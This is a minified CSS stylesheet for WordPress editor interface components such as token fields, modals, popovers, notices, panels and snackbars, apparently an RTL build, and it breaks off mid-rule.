.components-form-toggle__thumb{background-color:#fff;border-width:0;transform:translateX(-18px)}.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{opacity:.3}.components-form-toggle input.components-form-toggle__input[type=checkbox]{position:absolute;top:0;right:0;width:100%;height:100%;opacity:0;margin:0;padding:0;z-index:1;border:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{background:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{content:""}.components-form-token-field__input-container{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;display:flex;flex-wrap:wrap;align-items:flex-start;width:100%;margin:0 0 8px;padding:2px 4px;cursor:text}@media (prefers-reduced-motion:reduce){.components-form-token-field__input-container{transition-duration:0s}}@media (min-width:600px){.components-form-token-field__input-container{font-size:13px;line-height:normal}}.components-form-token-field__input-container:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-form-token-field__input-container::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-form-token-field__input-container::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-form-token-field__input-container:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-form-token-field__input-container::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-form-token-field__input-container::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-form-token-field__input-container:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-form-token-field__input-container.is-disabled{background:#ddd;border-color:#ddd}.components-form-token-field__input-container.is-active{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-form-token-field__input-container input[type=text].components-form-token-field__input{display:inline-block;flex:1;font-size:16px;width:100%;max-width:100%;margin-right:4px;padding:0;min-height:24px;min-width:50px;background:inherit;border:0;color:#1e1e1e;box-shadow:none}@media (min-width:600px){.components-form-token-field__input-container input[type=text].components-form-token-field__input{font-size:13px}}.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{outline:none;box-shadow:none}.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{width:auto}.components-form-token-field__label{display:inline-block;margin-bottom:4px}.components-form-token-field__help{font-size:12px;font-style:normal;color:#757575}.components-form-token-field__token{font-size:13px;display:flex;margin:2px 0 2px 4px;color:#1e1e1e;max-width:100%}.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{background:#4ab866}.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{background:#cc1818}.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{color:#757575}.components-form-token-field__token.is-borderless{position:relative;padding:0 0 0 16px}.components-form-token-field__token.is-borderless .components-form-token-field__token-text{background:transparent;color:#007cba;color:var(--wp-admin-theme-color)}.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{background:transparent;color:#757575;position:absolute;top:1px;left:0}.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{color:#4ab866}.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{color:#cc1818;border-radius:0 4px 4px 0;padding:0 6px 0 4px}.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{color:#1e1e1e}.components-form-token-field__token.is-disabled .components-form-token-field__remove-token{cursor:default}.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{display:inline-block;line-height:24px;height:auto;background:#ddd;min-width:unset;transition:all .2s cubic-bezier(.4,1,.4,1)}@media (prefers-reduced-motion:reduce){.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{transition-duration:0s;animation-duration:1ms}}.components-form-token-field__token-text{border-radius:0 2px 2px 0;padding:0 8px 0 0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.components-form-token-field__remove-token.components-button{cursor:pointer;border-radius:2px 0 0 2px;padding:0 2px;color:#1e1e1e;line-height:10px;overflow:initial}.components-form-token-field__remove-token.components-button:hover{color:#1e1e1e}.components-form-token-field__suggestions-list{flex:1 0 100%;min-width:100%;max-height:9em;overflow-y:auto;transition:all .15s ease-in-out;list-style:none;border-top:1px solid #757575;margin:4px -4px -4px;padding:0}@media (prefers-reduced-motion:reduce){.components-form-token-field__suggestions-list{transition-duration:0s}}.components-form-token-field__suggestion{color:#757575;display:block;font-size:13px;padding:4px 8px;margin:0;cursor:pointer}.components-form-token-field__suggestion.is-selected{background:#007cba;background:var(--wp-admin-theme-color);color:#fff}.components-form-token-field__suggestion-match{text-decoration:underline}@media (min-width:600px){.components-guide{width:600px}}.components-guide .components-modal__header{background:none;border-bottom:none;width:100%;padding:0;margin:0}.components-guide .components-modal__header .components-button{align-self:flex-start;margin:8px 0 0 8px;position:static}.components-guide .components-modal__header .components-button:hover svg{fill:#fff}.components-guide__container{display:flex;flex-direction:column;justify-content:space-between;margin-top:-60px;min-height:100%}.components-guide__page{display:flex;flex-direction:column;justify-content:center;position:relative}@media (min-width:600px){.components-guide__page{min-height:300px}}.components-guide__footer{align-content:center;display:flex;height:30px;justify-content:center;margin:0 0 24px;padding:0 32px;position:relative;width:100%}@media (max-width:600px){.components-guide__footer{position:absolute;bottom:0}}.components-guide__page-control{margin:8px 0;text-align:center}.components-guide__page-control li{display:inline-block}.components-guide__page-control .components-button{height:30px;min-width:20px}.components-guide .components-modal__content{padding:0}.components-modal__frame.components-guide{border:none;min-width:312px;height:80vh;max-height:575px}@media (max-width:600px){.components-modal__frame.components-guide{bottom:5%;right:16px;left:16px;top:5%;margin:0 auto}}.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{height:30px;position:absolute}.components-button.components-guide__back-button,.components-button.components-guide__forward-button{font-size:13px;padding:4px 2px}.components-button.components-guide__back-button.has-text svg,.components-button.components-guide__forward-button.has-text svg{margin:0}.components-button.components-guide__back-button:hover,.components-button.components-guide__forward-button:hover{text-decoration:underline}.components-button.components-guide__back-button{right:32px}.components-button.components-guide__forward-button{left:32px;color:#1386bf;font-weight:700}.components-button.components-guide__finish-button{left:32px}.components-button.components-guide__inline-finish-button{display:none}[role=region]{position:relative}.is-focusing-regions [role=region]:focus:after{content:"";position:absolute;top:0;bottom:0;right:0;left:0;pointer-events:none;outline:4px solid transparent;box-shadow:inset 0 0 0 4px #007cba;box-shadow:inset 0 0 0 4px var(--wp-admin-theme-color)}@supports (outline-offset:1px){.is-focusing-regions [role=region]:focus:after{content:none}.is-focusing-regions [role=region]:focus{outline-style:solid;outline-color:#007cba;outline-color:var(--wp-admin-theme-color);outline-width:4px;outline-offset:-4px}}.components-menu-group+.components-menu-group{margin-top:8px;padding-top:8px;border-top:1px solid #1e1e1e}.components-menu-group__label{padding:0 8px;margin-top:4px;margin-bottom:12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.components-menu-item__button,.components-menu-item__button.components-button{width:100%}.components-menu-item__button.components-button .components-menu-items__item-icon,.components-menu-item__button .components-menu-items__item-icon{margin-left:-2px;margin-right:24px;display:inline-block;flex:0 0 auto}.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon,.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon{margin-right:8px}.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{margin-right:-2px;margin-left:8px}.components-menu-item__info-wrapper{display:flex;flex-direction:column;margin-left:auto}.components-menu-item__info{margin-top:4px;font-size:12px;color:#757575;white-space:normal}.components-menu-item__item{white-space:nowrap;margin-left:auto;display:inline-flex;align-items:center}.components-menu-item__shortcut{-ms-grid-row-align:center;align-self:center;margin-left:0;margin-right:auto;padding-right:24px;color:currentColor;display:none}@media (min-width:480px){.components-menu-item__shortcut{display:inline}}.components-menu-items-choice.components-button svg,.components-menu-items-choice svg{margin-left:12px}.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{padding-right:12px}.components-modal__screen-overlay{position:fixed;top:0;left:0;bottom:0;right:0;background-color:rgba(0,0,0,.35);z-index:100000;animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-modal__screen-overlay{animation-duration:1ms}}.components-modal__frame{position:absolute;top:0;left:0;bottom:0;right:0;box-sizing:border-box;margin:0;border:1px solid #ddd;background:#fff;box-shadow:0 3px 30px rgba(0,0,0,.2);overflow:auto}@media (min-width:600px){.components-modal__frame{top:50%;left:auto;bottom:auto;right:50%;min-width:360px;max-width:calc(100% - 32px);max-height:90%;transform:translate(50%,-50%);animation:components-modal__appear-animation .1s ease-out;animation-fill-mode:forwards}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.components-modal__frame{animation-duration:1ms}}@keyframes components-modal__appear-animation{0%{margin-top:32px}to{margin-top:0}}.components-modal__header{box-sizing:border-box;border-bottom:1px solid #ddd;padding:0 24px;display:flex;flex-direction:row;justify-content:space-between;background:#fff;align-items:center;height:60px;z-index:10;position:relative;position:-webkit-sticky;position:sticky;top:0;margin:0 -24px 24px}@supports (-ms-ime-align:auto){.components-modal__header{position:fixed;width:100%}}.components-modal__header .components-modal__header-heading{font-size:1rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__header .components-button{position:relative;right:8px}.components-modal__header-heading-container{align-items:center;flex-grow:1;display:flex;flex-direction:row;justify-content:left}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-width:36px;max-height:36px;padding:8px}.components-modal__content{box-sizing:border-box;height:100%;padding:0 24px 24px}@supports (-ms-ime-align:auto){.components-modal__content{padding-top:60px}}.components-notice{display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;background-color:#fff;border-right:4px solid #007cba;border-right:4px solid var(--wp-admin-theme-color);margin:5px 15px 2px;padding:8px 12px;align-items:center}.components-notice.is-dismissible{padding-left:36px;position:relative}.components-notice.is-success{border-right-color:#4ab866;background-color:#eff9f1}.components-notice.is-warning{border-right-color:#f0b849;background-color:#fef8ee}.components-notice.is-error{border-right-color:#cc1818;background-color:#f4a2a2}.components-notice__content{flex-grow:1;margin:4px 0 4px 25px}.components-notice__action.components-button,.components-notice__action.components-button.is-link{margin-right:12px}.components-notice__action.components-button.is-secondary{vertical-align:initial}.components-notice__dismiss{color:#757575;align-self:flex-start;flex-shrink:0}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#1e1e1e;background-color:transparent}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{box-shadow:none}.components-notice-list{max-width:100vw;box-sizing:border-box;z-index:29}.components-notice-list .components-notice__content{margin-top:12px;margin-bottom:12px;line-height:2}.components-notice-list .components-notice__action.components-button{display:block;margin-right:0;margin-top:8px}.components-panel{background:#fff;border:1px solid #e0e0e0}.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{margin-top:-1px}.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{border-bottom-width:0}.components-panel+.components-panel{margin-top:-1px}.components-panel__body{border-top:1px solid #e0e0e0;border-bottom:1px solid #e0e0e0}.components-panel__body h3{margin:0 0 .5em}.components-panel__body.is-opened{padding:16px}.components-panel__header{display:flex;justify-content:space-between;align-items:center;padding:0 16px;height:48px;border-top:1px solid #ddd;border-bottom:1px solid #ddd}.components-panel__header h2{margin:0;font-size:inherit;color:inherit}.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{margin-top:-1px}.components-panel__body>.components-panel__body-title{display:block;padding:0;font-size:inherit;margin-top:0;margin-bottom:0;transition:background .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body>.components-panel__body-title{transition-duration:0s}}.components-panel__body.is-opened>.components-panel__body-title{margin:-16px -16px 5px}.components-panel__body>.components-panel__body-title:hover{background:#f0f0f0;border:none}.components-panel__body-toggle.components-button{position:relative;padding:16px;outline:none;width:100%;font-weight:500;text-align:right;color:#1e1e1e;border:none;box-shadow:none;transition:background .1s ease-in-out;height:auto}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button{transition-duration:0s}}.components-panel__body-toggle.components-button:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);border-radius:0}.components-panel__body-toggle.components-button .components-panel__arrow{position:absolute;left:16px;top:50%;transform:translateY(-50%);color:#1e1e1e;fill:currentColor;transition:color .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button .components-panel__arrow{transition-duration:0s}}body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{transform:scaleX(-1);-ms-filter:fliph;filter:FlipH;margin-top:-10px}.components-panel__icon{color:#757575;margin:-2px 6px -2px 0}.components-panel__body-toggle-icon{margin-left:-5px}.components-panel__color-title{float:right;height:19px}.components-panel__row{display:flex;justify-content:space-between;align-items:center;margin-top:8px;min-height:36px}.components-panel__row select{min-width:0}.components-panel__row label{margin-left:12px;flex-shrink:0;max-width:75%}.components-panel__row:empty,.components-panel__row:first-of-type{margin-top:0}.components-panel .circle-picker{padding-bottom:20px}.components-placeholder.components-placeholder{box-sizing:border-box;position:relative;padding:1em;min-height:200px;width:100%;text-align:right;margin:0;color:#1e1e1e;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;outline:1px solid transparent}@supports ((position:-webkit-sticky) or (position:sticky)){.components-placeholder.components-placeholder{display:flex;flex-direction:column;justify-content:center;align-items:flex-start}}.components-placeholder.components-placeholder .components-base-control__label{font-size:13px}.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__label{display:flex;font-weight:600;margin-bottom:16px;align-items:center}.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{fill:currentColor;margin-left:1ch}.components-placeholder__fieldset,.components-placeholder__fieldset form{display:flex;flex-direction:row;width:100%;flex-wrap:wrap}.components-placeholder__fieldset form p,.components-placeholder__fieldset p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{flex-direction:column}.components-placeholder__input[type=url]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;margin:0 0 0 8px;flex:1 1 auto}@media (prefers-reduced-motion:reduce){.components-placeholder__input[type=url]{transition-duration:0s}}@media (min-width:600px){.components-placeholder__input[type=url]{font-size:13px;line-height:normal}}.components-placeholder__input[type=url]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-placeholder__input[type=url]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-placeholder__input[type=url]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-placeholder__input[type=url]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-placeholder__input[type=url]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-placeholder__input[type=url]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-placeholder__input[type=url]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-placeholder__instructions{margin-bottom:1em}.components-placeholder__error{margin-top:1em;width:100%}.components-placeholder__preview img{margin:3%;width:50%}.components-placeholder__fieldset .components-button{margin-left:12px;margin-bottom:12px}.components-placeholder__fieldset .components-button:last-child{margin-bottom:0;margin-left:0}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{margin-right:10px;margin-left:10px}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{margin-left:0}.components-placeholder.is-large .components-placeholder__label{font-size:18pt;font-weight:400}.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{display:none}.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{flex-direction:column}.components-placeholder.is-medium .components-placeholder__fieldset .components-button,.components-placeholder.is-small .components-placeholder__fieldset .components-button{margin-left:auto}.components-placeholder.is-small .components-button{padding:0 8px 2px}.components-popover{position:fixed;z-index:1000000;top:0;left:0;opacity:0}.components-popover.is-expanded,.components-popover[data-x-axis][data-y-axis]{opacity:1}.components-popover.is-expanded{top:0;left:0;right:0;bottom:0;z-index:1000000!important}.components-popover:not(.is-without-arrow){margin-left:2px}.components-popover:not(.is-without-arrow):before{border:8px solid #ccc}.components-popover:not(.is-without-arrow).is-alternate:before{border-color:#1e1e1e}.components-popover:not(.is-without-arrow):after{border:8px solid #fff}.components-popover:not(.is-without-arrow):after,.components-popover:not(.is-without-arrow):before{content:"";position:absolute;height:0;width:0;line-height:0}.components-popover:not(.is-without-arrow)[data-y-axis=top]{margin-top:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=top]:before{bottom:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=top]:after{bottom:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=top]:after,.components-popover:not(.is-without-arrow)[data-y-axis=top]:before{border-bottom:none;border-left-color:transparent;border-right-color:transparent;border-top-style:solid;margin-left:-10px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]{margin-top:8px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:before{top:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:after{top:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:after,.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:before{border-bottom-style:solid;border-left-color:transparent;border-right-color:transparent;border-top:none;margin-left:-10px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]{margin-left:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:before{right:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:after{right:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:after,.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:before{border-bottom-color:transparent;border-left-style:solid;border-right:none;border-top-color:transparent}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]{margin-left:8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:before{left:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:after{left:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:after,.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:before{border-bottom-color:transparent;border-left:none;border-right-style:solid;border-top-color:transparent}.components-popover[data-y-axis=top]{bottom:100%}.components-popover[data-y-axis=bottom]{top:100%}.components-popover[data-y-axis=middle]{align-items:center;display:flex}.components-popover.is-from-top{margin-top:12px}.components-popover.is-from-bottom{margin-top:-12px}.components-popover.is-from-left:not(.is-from-top):not(.is-from-bottom){margin-left:12px}.components-popover.is-from-right:not(.is-from-top):not(.is-from-bottom){margin-right:12px}.components-popover__content{height:100%;background:#fff;border:1px solid #ccc;box-shadow:0 2px 6px rgba(0,0,0,.05);border-radius:2px}.is-alternate .components-popover__content{border:1px solid #1e1e1e;box-shadow:none}.components-popover .components-popover__content{position:absolute;height:auto;overflow-y:auto}.components-popover.is-expanded .components-popover__content{position:static;height:calc(100% - 48px);overflow-y:visible;min-width:auto;border:none;border-top:1px solid #1e1e1e}.components-popover[data-y-axis=top] .components-popover__content{bottom:100%}.components-popover[data-x-axis=center] .components-popover__content{left:50%;transform:translateX(-50%)}.components-popover[data-x-axis=right] .components-popover__content{position:absolute;left:100%}.components-popover:not([data-y-axis=middle])[data-x-axis=right] .components-popover__content{margin-left:-25px}.components-popover[data-x-axis=left] .components-popover__content{position:absolute;right:100%}.components-popover:not([data-y-axis=middle])[data-x-axis=left] .components-popover__content{margin-right:-25px}.components-popover__header{align-items:center;background:#fff;display:flex;height:48px;justify-content:space-between;padding:0 8px 0 16px}.components-popover__header-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.components-popover__close.components-button{z-index:5}.components-radio-control{display:flex;flex-direction:column}.components-radio-control .components-base-control__help{margin-top:0}.components-radio-control .components-base-control__field{margin-bottom:0}.components-radio-control__option:not(:last-child){margin-bottom:4px}.components-radio-control__input[type=radio]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;font-size:16px;line-height:normal;border:1px solid #1e1e1e;transition:none;border-radius:50%;width:24px;height:24px;margin-top:0;margin-left:6px}@media (prefers-reduced-motion:reduce){.components-radio-control__input[type=radio]{transition-duration:0s}}@media (min-width:600px){.components-radio-control__input[type=radio]{font-size:13px;line-height:normal}}.components-radio-control__input[type=radio]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-radio-control__input[type=radio]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-radio-control__input[type=radio]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-radio-control__input[type=radio]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-radio-control__input[type=radio]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-radio-control__input[type=radio]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}@media (min-width:600px){.components-radio-control__input[type=radio]{height:20px;width:20px}}.components-radio-control__input[type=radio]:checked:before{width:8px;height:8px;transform:translate(-7px,7px);margin:0;background-color:#fff;border:4px solid #fff}@media (min-width:600px){.components-radio-control__input[type=radio]:checked:before{transform:translate(-5px,5px)}}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.components-radio-control__input[type=radio]:checked{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-resizable-box__handle{display:none;width:23px;height:23px;z-index:2}.components-resizable-box__container.has-show-handle .components-resizable-box__handle{display:block}.components-resizable-box__handle:after{width:15px;height:15px;border:2px solid #fff;border-radius:50%;top:calc(50% - 8px);left:calc(50% - 8px)}.components-resizable-box__handle:after,.components-resizable-box__side-handle:before{display:block;content:"";background:#007cba;background:var(--wp-admin-theme-color);cursor:inherit;position:absolute}.components-resizable-box__side-handle:before{width:7px;height:7px;border:2px solid #fff;top:calc(50% - 4px);left:calc(50% - 4px);transition:transform .1s ease-in;opacity:0}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle:before{transition-duration:0s}}.is-dark-theme .components-resizable-box__handle:after,.is-dark-theme .components-resizable-box__side-handle:before{border-color:#ddd}.components-resizable-box__corner-handle,.components-resizable-box__side-handle{z-index:2}.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{width:100%;right:0;border-right:0;border-left:0}.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{height:100%;top:0;border-top:0;border-bottom:0}.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation-duration:1ms}}.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation:components-resizable-box__left-right-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation-duration:1ms}}@media not all and (min-resolution:0.001dpcm){@supports (-webkit-appearance:none){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:none}}}@keyframes components-resizable-box__top-bottom-animation{0%{transform:scaleX(0);opacity:0}to{transform:scaleX(1);opacity:1}}@keyframes components-resizable-box__left-right-animation{0%{transform:scaleY(0);opacity:0}to{transform:scaleY(1);opacity:1}}.components-resizable-box__handle-right{right:-11.5px}.components-resizable-box__handle-left{left:-11.5px}.components-resizable-box__handle-top{top:-11.5px}.components-resizable-box__handle-bottom{bottom:-11.5px}.components-responsive-wrapper{position:relative;max-width:100%}.components-responsive-wrapper,.components-responsive-wrapper>span{display:block}.components-responsive-wrapper__content{position:absolute;top:0;left:0;bottom:0;right:0;width:100%;height:100%;margin:auto}.components-sandbox{overflow:hidden}iframe.components-sandbox{width:100%}body.lockscroll,html.lockscroll{overflow:hidden}.components-select-control__input{background:#fff;height:36px;line-height:36px;margin:1px;outline:0;width:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)!important}@media (min-width:782px){.components-select-control__input{height:28px;line-height:28px}}@media (max-width:782px){.components-base-control .components-base-control__field .components-select-control__input{font-size:16px}}.components-snackbar{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;background-color:#1e1e1e;border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.3);color:#fff;padding:16px 24px;width:100%;max-width:600px;box-sizing:border-box;cursor:pointer}@media (min-width:600px){.components-snackbar{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}}.components-snackbar:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #007cba;box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color)}.components-snackbar.components-snackbar-explicit-dismiss{cursor:default}.components-snackbar .components-snackbar__content-with-icon{margin-right:24px}.components-snackbar .components-snackbar__icon{position:absolute;top:24px;right:28px}.components-snackbar .components-snackbar__dismiss-button{margin-right:32px;cursor:pointer}.components-snackbar__action.components-button{margin-right:32px;color:#fff;height:auto;flex-shrink:0;line-height:1.4;padding:0}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary){text-decoration:underline;background-color:transparent}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus{color:#fff;box-shadow:none;outline:1px dotted 